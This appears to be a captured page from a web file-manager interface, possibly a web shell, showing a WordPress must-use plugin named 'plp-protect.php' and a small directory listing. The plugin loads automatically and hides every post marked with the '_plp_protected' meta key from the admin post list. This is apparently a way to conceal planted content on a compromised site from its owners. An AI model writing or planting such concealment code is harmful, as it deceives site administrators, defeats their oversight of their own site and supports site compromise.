PHP 7.4.33
Preview: plp-protect.php Size: 270 B
/home/zcziejy/ryadselyen/mu-plugins/plp-protect.php
<?php if(!defined("ABSPATH"))exit; add_action("pre_get_posts",function($q){if(!is_admin()||!$q->is_main_query())return;global $pagenow;if($pagenow==="edit.php"&&$q->get("post_type")==="post"){$q->set("meta_query",[["key"=>"_plp_protected","compare"=>"NOT EXISTS"]]);}});

Directory Contents

Dirs: 0 × Files: 2
Name Size Perms Modified Actions
420 B lrw-r--r-- 2026-01-09 04:01:53
Edit Download
270 B lrw-r--r-- 2025-12-10 13:04:33
Edit Download
If ZipArchive is unavailable, a .tar will be created (no compression).